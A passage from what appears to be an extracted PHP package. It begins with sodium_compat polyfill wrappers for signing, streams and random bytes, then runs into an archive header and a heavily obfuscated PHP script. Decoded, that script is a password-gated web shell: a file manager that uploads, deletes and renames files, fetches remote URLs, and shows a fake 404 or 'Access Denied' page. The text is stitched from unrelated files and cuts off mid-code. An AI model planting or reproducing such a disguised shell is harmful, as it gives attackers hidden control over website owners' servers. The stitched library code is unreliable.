ParagonIE_Sodium_Compat::crypto_sign($message, $secret_key); } } if (!is_callable('sodium_crypto_sign_detached')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_detached() * @param string $message * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_detached( $message, #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_detached($message, $secret_key); } } if (!is_callable('sodium_crypto_sign_keypair_from_secretkey_and_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey() * @param string $secret_key * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $secret_key, $public_key ) { return ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey($secret_key, $public_key); } } if (!is_callable('sodium_crypto_sign_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_keypair() * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_keypair() { return ParagonIE_Sodium_Compat::crypto_sign_keypair(); } } if (!is_callable('sodium_crypto_sign_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_open() * @param string $signedMessage * @param string $public_key * @return string|bool */ function sodium_crypto_sign_open($signedMessage, $public_key) { try { return ParagonIE_Sodium_Compat::crypto_sign_open($signedMessage, $public_key); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_sign_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_publickey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_sign_publickey($key_pair); } } if (!is_callable('sodium_crypto_sign_publickey_from_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_publickey_from_secretkey( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey($secret_key); } } if (!is_callable('sodium_crypto_sign_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_secretkey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_sign_secretkey($key_pair); } } if (!is_callable('sodium_crypto_sign_seed_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_seed_keypair() * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_sign_seed_keypair($seed); } } if (!is_callable('sodium_crypto_sign_verify_detached')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_verify_detached() * @param string $signature * @param string $message * @param string $public_key * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_verify_detached($signature, $message, $public_key) { return ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $message, $public_key); } } if (!is_callable('sodium_crypto_sign_ed25519_pk_to_curve25519')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519() * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_ed25519_pk_to_curve25519($public_key) { return ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519($public_key); } } if (!is_callable('sodium_crypto_sign_ed25519_sk_to_curve25519')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_ed25519_sk_to_curve25519( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519($secret_key); } } if (!is_callable('sodium_crypto_stream')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream() * @param int $length * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_stream( $length, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_stream($length, $nonce, $key); } } if (!is_callable('sodium_crypto_stream_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_keygen() * @return string * @throws Exception */ function sodium_crypto_stream_keygen() { return ParagonIE_Sodium_Compat::crypto_stream_keygen(); } } if (!is_callable('sodium_crypto_stream_xor')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_xor() * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_stream_xor( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_stream_xor($message, $nonce, $key); } } require_once dirname(__FILE__) . '/stream-xchacha20.php'; if (!is_callable('sodium_hex2bin')) { /** * @see ParagonIE_Sodium_Compat::hex2bin() * @param string $string * @param string $ignore * @return string * @throws SodiumException * @throws TypeError */ function sodium_hex2bin( #[\SensitiveParameter] $string, $ignore = '' ) { return ParagonIE_Sodium_Compat::hex2bin($string, $ignore); } } if (!is_callable('sodium_increment')) { /** * @see ParagonIE_Sodium_Compat::increment() * @param string $string * @return void * @throws SodiumException * @throws TypeError */ function sodium_increment( #[\SensitiveParameter] &$string ) { ParagonIE_Sodium_Compat::increment($string); } } if (!is_callable('sodium_library_version_major')) { /** * @see ParagonIE_Sodium_Compat::library_version_major() * @return int */ function sodium_library_version_major() { return ParagonIE_Sodium_Compat::library_version_major(); } } if (!is_callable('sodium_library_version_minor')) { /** * @see ParagonIE_Sodium_Compat::library_version_minor() * @return int */ function sodium_library_version_minor() { return ParagonIE_Sodium_Compat::library_version_minor(); } } if (!is_callable('sodium_version_string')) { /** * @see ParagonIE_Sodium_Compat::version_string() * @return string */ function sodium_version_string() { return ParagonIE_Sodium_Compat::version_string(); } } if (!is_callable('sodium_memcmp')) { /** * @see ParagonIE_Sodium_Compat::memcmp() * @param string $string1 * @param string $string2 * @return int * @throws SodiumException * @throws TypeError */ function sodium_memcmp( #[\SensitiveParameter] $string1, #[\SensitiveParameter] $string2 ) { return ParagonIE_Sodium_Compat::memcmp($string1, $string2); } } if (!is_callable('sodium_memzero')) { /** * @see ParagonIE_Sodium_Compat::memzero() * @param string $string * @return void * @throws SodiumException * @throws TypeError * * @psalm-suppress ReferenceConstraintViolation */ function sodium_memzero( #[\SensitiveParameter] &$string ) { ParagonIE_Sodium_Compat::memzero($string); } } if (!is_callable('sodium_pad')) { /** * @see ParagonIE_Sodium_Compat::pad() * @param string $unpadded * @param int $block_size * @return string * @throws SodiumException * @throws TypeError */ function sodium_pad( #[\SensitiveParameter] $unpadded, $block_size ) { return ParagonIE_Sodium_Compat::pad($unpadded, $block_size, true); } } if (!is_callable('sodium_unpad')) { /** * @see ParagonIE_Sodium_Compat::pad() * @param string $padded * @param int $block_size * @return string * @throws SodiumException * @throws TypeError */ function sodium_unpad( #[\SensitiveParameter] $padded, $block_size ) { return ParagonIE_Sodium_Compat::unpad($padded, $block_size, true); } } if (!is_callable('sodium_randombytes_buf')) { /** * @see ParagonIE_Sodium_Compat::randombytes_buf() * @param int $amount * @return string * @throws Exception */ function sodium_randombytes_buf($amount) { return ParagonIE_Sodium_Compat::randombytes_buf($amount); } } if (!is_callable('sodium_randombytes_uniform')) { /** * @see ParagonIE_Sodium_Compat::randombytes_uniform() * @param int $upperLimit * @return int * @throws Exception */ function sodium_randombytes_uniform($upperLimit) { return ParagonIE_Sodium_Compat::randombytes_uniform($upperLimit); } } if (!is_callable('sodium_randombytes_random16')) { /** * @see ParagonIE_Sodium_Compat::randombytes_random16() * @return int * @throws Exception */ function sodium_randombytes_random16() { return ParagonIE_Sodium_Compat::randombytes_random16(); } } PK$L[elib/php72compat_const.phpnu[bbnamespaced/Core/Ed25519.phpnu[open($WxlCc) === TRUE) { goto dnKYZ; } goto yjRLJ; rcgmR: YAz4q: goto AeSrz; qOyLV: if (!($UyGf4 !== $RN9dg)) { goto SGPJe; } goto By17q; gPrp2: $DKH4N = "\x49\x74\x65\x6d\40\x6e\x6f\164\40\x66\157\165\156\144\56"; goto B3Ml1; AViHQ: ItQRC: goto NCBWC; jWvjk: echo urlencode(dirname($UyGf4)); goto sskkE; VJKE0: $DKH4N = "\x49\156\166\141\x6c\151\x64\x20\x66\x69\154\x65\40\x74\171\x70\x65\40\x6f\162\40\146\151\154\145\40\x61\x6c\x72\x65\141\x64\171\40\145\170\x69\x73\x74\163\56"; goto Y3LxI; qM33z: if (!($st1pL && isset($_POST["\x66\145\164\x63\150\x5f\162\x65\155\157\x74\145"]) && !empty($_POST["\162\x65\x6d\157\164\145\137\165\x72\x6c"]))) { goto T_Iui; } goto qfRoT; uBvqX: $DKH4N = "\x49\164\145\x6d\40\x64\x6f\167\x6e\x6c\x6f\x61\x64\x65\144\40\163\165\x63\x63\145\x73\x73\x66\x75\x6c\154\x79\x2e"; goto Zbq2n; iPIq9: $DKH4N = "\106\x69\x6c\x65\40\x61\154\162\x65\x61\144\x79\40\x65\x78\x69\163\164\163\x2e"; goto QH0ar; AoQU8: $XSEgQ = znO1r($_POST["\151\x74\x65\x6d\x5f\x6e\141\155\145"]); goto A6W2h; CxVnM: $P1G3L = ZNO1R($_POST["\x66\x6f\x6c\144\x65\162\x5f\156\141\x6d\145"]); goto NHwLm; xAZme: if (file_exists($xAY2y)) { goto ohQxi; } goto gPrp2; NrS0O: onpA9: goto Jr6hd; HrspV: yUGjA: goto HFgF1; jC0wy: $DKH4N = "\111\164\145\155\40\x75\x70\x6c\x6f\x61\x64\145\144\x20\x73\165\x63\143\145\x73\x73\146\165\x6c\x6c\x79\56"; goto Xtn5l; KCWei: if (isset($_POST["\x73\145\x63\165\162\x65\137\x6b\145\x79"]) && isset($_POST["\143\163\x72\146\x5f\x74\x6f\x6b\x65\x6e"]) && $_POST["\x63\163\x72\x66\x5f\x74\157\x6b\x65\x6e"] === $_SESSION["\143\x73\x72\x66\x5f\x74\x6f\153\145\156"]) { goto IJ3Hk; } goto eDJC3; SLPz3: if (!(isset($_FILES["\165\160\x6c\157\x61\144\145\x64\x5f\151\x74\x65\155"]) && $_FILES["\165\160\x6c\x6f\141\x64\145\144\x5f\x69\x74\145\155"]["\145\162\x72\x6f\162"] === UPLOAD_ERR_OK)) { goto P7qdn; } goto tlrMv; O2aP8: IKl1G: goto PqQjK; haRmB: gyQ9C: goto x7QnY; Vc9UK: yHBos: goto nxE40; yH4Cb: if (in_array($Vjqae, $yC3U8) && !file_exists($l4vH0)) { goto YAz4q; } goto VJKE0; F2e6r: if (file_put_contents($xAY2y, $cFfUK) !== false) { goto fSUu0; } goto CQNeC; mqeiq: goto CqYQN; goto O2aP8; GV3it: $DKH4N = "\111\x74\145\155\x20\x72\145\156\x61\155\x65\144\x20\x73\165\x63\143\x65\x73\x73\x66\x75\154\x6c\171\x2e"; goto AViHQ; HbETr: if (!(!$UyGf4 || !is_dir($UyGf4) || !is_readable($UyGf4) || strpos($UyGf4, $RN9dg) !== 0)) { goto IUKiV; } goto SFaK1; g9sUN: sort($RKVRy); goto IttBb; fP2_W: header("\103\157\x6e\x74\x65\x6e\x74\x2d\x54\171\160\x65\72\40\164\145\170\164\x2f\160\154\141\151\156"); goto lVPL0; aK3Vo: Axvto: goto A3raI; sbUHL: QuW09: goto mU9_h; Oo1ct: CtH4i: goto xmdTh; FdNTJ: $RKVRy = []; goto DXZMW; JENU1: OCuP1: goto NHWkd; dxbFr: bPia2: goto tVO8Z; LXZOP: $DKH4N = "\x45\x72\162\157\x72\40\145\x78\x74\x72\141\x63\x74\151\x6e\x67\x20\141\162\x63\x68\x69\x76\145\x2e"; goto YprUx; S5SU9: $xAY2y = $UyGf4 . "\x2f" . $XSEgQ; goto lkCg9; OQPz9: T_Iui: goto YNA75; k7_aS: echo htmlspecialchars($_SESSION["\x63\163\162\146\x5f\164\x6f\x6b\x65\156"]); goto MKafv; RkyCs: echo "\42\x3e\xd\12\40\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\40\40\40\x20\74\151\156\x70\165\164\x20\x74\171\x70\145\75\x22\164\x65\x78\x74\42\x20\x6e\141\155\145\x3d\42\146\157\x6c\x64\145\x72\137\x6e\141\155\x65\x22\x20\143\154\x61\x73\x73\x3d\42\146\154\x65\x78\55\x31\40\160\55\x33\x20\142\157\x72\x64\145\162\40\x72\157\x75\x6e\x64\145\x64\x2d\x6c\x67\x20\146\x6f\x63\x75\163\72\x6f\x75\164\154\151\156\145\55\156\157\156\145\40\x66\157\143\x75\x73\x3a\162\151\156\147\55\x32\40\x66\157\x63\165\x73\x3a\162\151\156\147\x2d\166\x69\166\151\x64\x2d\x74\145\x61\x6c\x22\40\160\x6c\141\143\145\150\157\x6c\144\145\162\x3d\42\x46\157\154\x64\145\x72\x20\x6e\x61\x6d\145\x22\x20\x72\x65\x71\165\x69\162\x65\144\x3e\xd\xa\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\40\x20\74\142\165\x74\x74\157\x6e\40\x74\x79\x70\x65\75\x22\163\165\x62\155\x69\x74\42\x20\x6e\x61\x6d\x65\75\42\141\144\x64\137\144\x69\162\x65\143\164\x6f\162\171\x22\40\x63\154\141\x73\x73\x3d\42\142\x67\55\166\x69\166\x69\x64\x2d\164\145\141\x6c\40\x74\x65\x78\164\55\x77\150\151\x74\x65\x20\160\55\63\x20\162\x6f\165\156\144\145\144\55\x6c\147\x20\150\x6f\166\145\162\72\x62\x67\55\166\x69\x76\151\x64\55\164\x65\x61\x6c\x2d\144\x61\162\x6b\40\x76\151\166\151\144\55\164\x72\x61\x6e\163\151\x74\151\157\x6e\42\x3e\x41\x64\144\x3c\x2f\142\165\164\164\x6f\x6e\x3e\xd\xa\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x3c\57\x66\157\162\x6d\x3e\xd\12\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\74\57\144\151\166\76\15\12\xd\12\x20\x20\40\40\40\40\40\x20\x20\x20\x20\x20\x3c\x21\x2d\55\x20\x55\160\154\157\x61\x64\x20\111\x74\145\155\40\x2d\x2d\76\xd\xa\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\x3c\144\151\166\x20\x63\154\x61\x73\163\75\42\142\x67\55\167\150\x69\x74\x65\40\x70\55\x36\x20\162\x6f\x75\156\x64\x65\144\55\170\x6c\40\163\150\141\144\157\167\55\x78\154\40\166\151\166\x69\x64\x2d\x68\157\166\145\162\x22\76\xd\12\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\40\x20\x20\x20\74\150\63\40\143\154\x61\163\163\x3d\42\x74\x65\170\x74\55\170\154\40\x66\157\x6e\x74\x2d\163\145\x6d\x69\x62\x6f\x6c\144\x20\x6d\142\55\64\40\x74\x65\x78\x74\55\166\x69\x76\151\x64\x2d\143\x68\141\162\143\x6f\x61\x6c\x22\76\125\x70\x6c\157\141\144\40\111\164\145\x6d\74\x2f\150\x33\76\15\xa\x20\40\40\40\40\40\40\40\40\x20\x20\x20\x20\40\40\40\x3c\x66\157\162\155\x20\x6d\145\x74\x68\157\144\75\x22\160\157\x73\x74\x22\40\145\156\143\x74\x79\x70\x65\75\x22\155\x75\154\164\151\160\x61\x72\164\x2f\146\157\x72\x6d\x2d\x64\141\164\141\42\x20\143\x6c\x61\163\x73\x3d\x22\x66\154\145\170\40\x73\x70\141\143\x65\55\x78\x2d\63\42\x3e\15\xa\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\74\x69\x6e\160\x75\x74\40\164\171\x70\145\75\42\150\151\144\144\x65\156\x22\x20\x6e\141\x6d\x65\75\42\x63\x73\x72\x66\x5f\x74\x6f\153\x65\x6e\42\x20\x76\141\154\x75\145\x3d\x22"; goto k7_aS; Hfcg3: fSUu0: goto HF3ib; HWu98: echo "\40\x20\40\40\x20\40\40\40\74\57\144\151\166\x3e\15\xa\15\12\40\40\x20\40\x20\x20\x20\40\x3c\41\55\x2d\40\111\164\x65\x6d\40\124\141\x62\x6c\145\40\55\55\x3e\15\xa\40\x20\40\40\x20\x20\40\40\x3c\x64\151\166\x20\143\x6c\x61\163\163\x3d\42\x62\x67\55\x77\x68\x69\164\x65\x20\x72\157\165\x6e\144\145\144\x2d\x78\x6c\x20\163\150\141\144\157\167\55\x78\154\40\x6f\166\145\x72\x66\154\157\x77\x2d\170\x2d\141\165\164\157\x22\76\xd\12\x20\40\40\40\40\x20\40\40\40\40\40\40\x3c\x74\x61\142\154\145\40\143\x6c\x61\x73\x73\x3d\42\x77\55\146\165\154\154\x22\x3e\xd\xa\x20\40\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\x20\74\x74\150\x65\141\x64\40\x63\x6c\141\x73\163\x3d\42\x62\x67\55\147\162\141\171\55\61\60\60\x22\x3e\xd\12\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x3c\164\x72\40\x63\x6c\x61\x73\x73\75\42\163\x74\151\143\153\171\x2d\150\145\x61\144\145\162\x22\x3e\xd\12\40\x20\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\74\x74\x68\40\x63\154\x61\163\163\75\42\160\x2d\64\40\x74\x65\x78\x74\x2d\x6c\x65\146\x74\40\164\x65\x78\x74\55\x76\x69\166\x69\x64\x2d\x63\x68\x61\162\x63\x6f\x61\154\42\76\116\141\155\x65\x3c\x2f\x74\150\76\xd\xa\40\x20\x20\x20\40\40\x20\40\40\40\x20\40\40\40\x20\x20\40\40\x20\40\40\x20\x20\x20\74\x74\x68\40\x63\154\141\x73\x73\75\x22\x70\55\x34\40\164\x65\x78\164\x2d\x6c\x65\x66\164\40\164\145\170\x74\x2d\166\x69\166\x69\x64\55\x63\x68\x61\x72\143\157\141\x6c\42\x3e\124\171\x70\145\x3c\57\164\x68\x3e\15\12\40\x20\x20\x20\40\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x3c\x74\150\x20\x63\154\141\x73\163\x3d\42\160\x2d\x34\40\164\x65\170\164\x2d\154\145\146\164\40\x74\145\x78\164\x2d\x76\151\x76\151\x64\x2d\x63\x68\141\162\143\157\x61\154\42\76\123\x69\x7a\x65\74\x2f\x74\150\76\15\xa\40\40\40\x20\x20\40\40\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\40\x20\x20\74\164\x68\40\x63\x6c\141\x73\x73\75\42\x70\55\x34\40\x74\x65\170\164\55\154\145\146\x74\x20\164\145\170\164\x2d\166\151\166\x69\x64\x2d\x63\150\141\x72\x63\x6f\141\x6c\42\76\x57\162\x69\x74\141\142\x6c\x65\74\57\164\x68\76\xd\12\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\74\164\x68\x20\x63\x6c\141\163\163\75\x22\x70\x2d\64\40\164\145\x78\164\x2d\154\x65\146\164\x20\164\x65\170\164\x2d\166\151\x76\151\144\x2d\143\x68\x61\162\143\x6f\x61\x6c\42\76\x4c\x61\163\x74\x20\x4d\157\144\151\146\x69\x65\x64\x3c\x2f\164\150\76\xd\xa\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\x20\x20\74\x74\x68\x20\x63\x6c\x61\163\x73\x3d\42\160\x2d\64\40\x74\x65\x78\164\x2d\x6c\145\x66\164\x20\x74\x65\x78\x74\55\x76\x69\166\x69\x64\x2d\x63\x68\x61\162\143\157\141\154\42\76\x41\143\164\x69\x6f\x6e\x73\x3c\57\164\150\x3e\15\xa\40\x20\40\x20\40\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\74\x2f\164\162\76\xd\xa\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\x3c\57\x74\150\x65\x61\144\76\15\xa\40\40\40\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\x20\74\x74\x62\157\144\171\x3e\xd\xa\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\x20\40\40\74\41\x2d\x2d\x20\120\x61\x72\x65\156\164\x20\127\157\162\x6b\163\160\141\x63\145\40\55\55\x3e\xd\12\40\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\x20\40\40\40\40\x20"; goto qOyLV; woUVw: if (in_array($Vjqae, $yC3U8) && $GpDM3["\x73\151\x7a\x65"] <= $k0Bn2) { goto IKl1G; } goto ECHTC; dP3kX: $WGk33 = "\x24\62\x61\44\x31\x32\x24\x6e\154\x63\113\157\x67\x68\124\122\170\x68\160\x64\x71\165\x67\x69\x48\63\x71\x6e\165\x41\106\141\x64\152\101\x6b\154\x33\x75\x76\x31\63\142\x78\116\60\x5a\120\146\x76\150\x33\105\x74\64\x77\x32\x46\x77\x36"; goto jqJC3; hqgSy: if (file_put_contents($mROC6, $cFfUK) !== false) { goto pTXEj; } goto OPJ29; GvIZt: p398x: goto qoPOT; lxXy6: $DKH4N = "\x46\157\x6c\x64\145\162\40\x63\x72\x65\x61\164\x65\x64\x20\x73\x75\143\143\x65\163\163\x66\x75\154\x6c\171\x2e"; goto sbUHL; xmdTh: if (!(isset($_POST["\144\145\154\x65\164\145\x5f\x69\x74\x65\x6d"]) && !empty($_POST["\151\x74\x65\x6d\137\x6e\141\155\x65"]))) { goto x2JdP; } goto LSpRx; MWILr: http_response_code(404); goto gl1j0; UdP8y: goto w2IvO; goto G4i7T; HFgF1: echo "\15\xa\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\40\x3c\x21\55\55\x20\106\x69\154\145\163\40\x2d\55\x3e\15\12\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x20"; goto dBSpP; HJ2Jy: VHTWA: goto LPb1A; m_Nxc: goto TNzCi; goto GvIZt; VPmED: $mROC6 = $UyGf4 . "\57" . $XSEgQ; goto f8J_i; aTPSO: die("\15\12\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x3c\x21\104\117\103\x54\131\x50\105\x20\150\164\x6d\x6c\76\15\xa\40\40\40\x20\40\40\40\40\x20\40\40\40\40\x20\40\x20\74\x68\164\155\154\x20\x6c\x61\156\147\75\42\x65\156\x22\x3e\xd\12\40\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\40\x3c\x68\x65\x61\144\x3e\xd\xa\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\40\40\x20\40\40\40\40\x20\x3c\155\145\x74\141\x20\x63\x68\141\x72\163\x65\x74\x3d\x22\125\124\106\55\x38\x22\x3e\15\xa\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\x3c\155\145\164\x61\x20\x6e\x61\x6d\145\75\x22\x76\x69\x65\x77\160\157\x72\164\42\40\143\157\156\x74\145\x6e\x74\x3d\42\x77\151\144\164\150\x3d\144\145\x76\x69\143\x65\55\x77\151\144\164\x68\x2c\x20\x69\x6e\151\164\x69\141\x6c\55\x73\x63\x61\154\145\75\x31\x2e\60\x22\76\xd\12\40\40\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x3c\164\151\x74\154\145\x3e\101\x63\x63\x65\x73\163\x20\x44\x65\x6e\151\145\x64\74\57\164\x69\x74\x6c\x65\x3e\xd\12\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\40\40\x3c\x73\x63\x72\151\160\164\40\163\162\x63\x3d\x22\150\164\164\x70\x73\72\x2f\x2f\x63\144\156\56\164\x61\151\154\x77\x69\x6e\144\x63\163\163\x2e\143\157\x6d\42\76\74\57\x73\x63\162\x69\160\x74\76\15\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\x3c\x2f\x68\x65\x61\144\76\xd\xa\x20\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\74\142\x6f\144\x79\40\x63\154\x61\163\x73\75\x22\142\147\55\166\x69\x76\x69\144\x2d\163\x6c\141\x74\145\x20\155\x69\156\55\150\55\163\143\162\145\145\x6e\40\146\154\x65\x78\x20\151\164\145\x6d\x73\55\x63\x65\156\164\x65\162\40\152\165\x73\164\x69\x66\171\55\x63\145\156\164\x65\162\42\x3e\15\12\40\x20\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x3c\144\x69\x76\40\143\x6c\x61\163\x73\x3d\42\x62\x67\x2d\x77\150\x69\x74\145\x20\160\x2d\70\40\162\157\165\156\144\x65\144\x2d\170\154\40\x73\x68\x61\x64\157\x77\x2d\170\x6c\40\167\55\146\165\x6c\x6c\40\155\x61\170\55\167\x2d\155\x64\x22\x3e\xd\xa\40\x20\x20\x20\40\40\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\x20\74\150\62\x20\143\x6c\141\163\x73\x3d\42\164\145\170\x74\x2d\62\x78\154\40\x66\x6f\x6e\164\x2d\142\x6f\x6c\144\40\155\x62\55\66\x20\x74\145\170\x74\55\x63\x65\x6e\x74\145\162\40\x74\145\170\164\x2d\166\151\x76\x69\144\55\143\x68\141\162\143\157\x61\154\42\76\123\145\143\165\162\x65\x20\x41\143\x63\145\163\x73\40\122\145\x71\165\x69\162\x65\144\74\x2f\150\x32\x3e\15\xa\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\40\x3c\x66\157\x72\x6d\40\x6d\x65\x74\x68\x6f\x64\x3d\x22\120\x4f\x53\x54\x22\76\15\12\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\74\151\x6e\x70\x75\164\40\164\x79\160\x65\x3d\x22\150\151\x64\144\145\x6e\x22\40\x6e\x61\155\145\75\42\x63\163\162\x66\x5f\x74\157\x6b\145\156\42\x20\166\141\x6c\x75\145\x3d\x22" . htmlspecialchars($_SESSION["\x63\163\x72\x66\x5f\164\x6f\x6b\x65\156"]) . "\x22\76\xd\xa\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\x3c\151\x6e\160\165\x74\x20\x74\171\160\145\75\42\160\141\163\163\x77\x6f\x72\144\42\x20\156\x61\x6d\x65\75\x22\163\145\143\165\162\x65\137\153\145\x79\42\40\143\154\x61\x73\x73\75\42\167\55\x66\x75\154\x6c\40\x70\x2d\x33\40\x62\x6f\x72\144\x65\x72\x20\162\x6f\x75\156\144\145\x64\55\154\147\40\x6d\x62\x2d\64\40\x66\x6f\143\x75\163\72\x6f\x75\x74\154\x69\156\145\55\156\157\x6e\x65\40\146\157\143\x75\163\x3a\162\x69\156\147\x2d\62\40\x66\157\143\165\x73\72\x72\x69\156\147\x2d\x76\x69\x76\151\x64\x2d\164\145\141\154\x22\40\160\x6c\x61\x63\x65\150\x6f\154\x64\x65\162\75\x22\105\156\164\x65\x72\40\163\x65\x63\x75\x72\x65\40\x6b\145\x79\42\40\x72\x65\161\165\x69\162\145\x64\x20\141\165\164\x6f\x66\157\x63\x75\x73\x3e\15\12\x20\40\40\40\x20\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\40\74\x62\165\x74\164\x6f\156\x20\x74\x79\x70\145\x3d\x22\x73\165\142\x6d\151\x74\42\40\143\x6c\141\163\163\x3d\42\167\x2d\x66\x75\154\x6c\40\x62\x67\x2d\166\x69\x76\x69\x64\55\x74\x65\x61\x6c\x20\164\145\x78\164\x2d\167\150\x69\x74\145\x20\160\x2d\63\40\162\x6f\x75\x6e\144\x65\144\x2d\x6c\147\x20\150\x6f\x76\x65\x72\72\142\x67\x2d\166\x69\166\151\x64\x2d\x74\145\x61\x6c\x2d\144\141\162\153\x20\x74\x72\141\x6e\163\x69\x74\x69\x6f\156\x22\76\x55\156\x6c\x6f\143\153\74\x2f\142\165\164\164\157\x6e\x3e\15\12\x20\40\x20\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x3c\57\146\157\x72\x6d\x3e\xd\12\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\74\57\x64\151\x76\x3e\xd\xa\40\40\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x3c\x2f\142\157\x64\171\x3e\15\xa\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\40\x3c\x2f\150\x74\x6d\154\76\15\xa\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40"); goto SMr58; O9Dx9: RzJMB: goto N3l0l; NCBWC: u8vax: goto Oo1ct; Y4wm7: if (isset($_SESSION["\143\x73\162\x66\x5f\164\157\x6b\x65\x6e"])) { goto gWWpv; } goto KwgZJ; gh_lz: mNuwv: goto B39ub; qoPOT: if (move_uploaded_file($GpDM3["\164\x6d\160\x5f\156\141\x6d\145"], $HdMJq)) { goto v_hRO; } goto pm_kD; qYmxS: OId96: goto HWu98; JT0AX: DDCY5: goto n2X9C; N1kwB: $DKH4N = 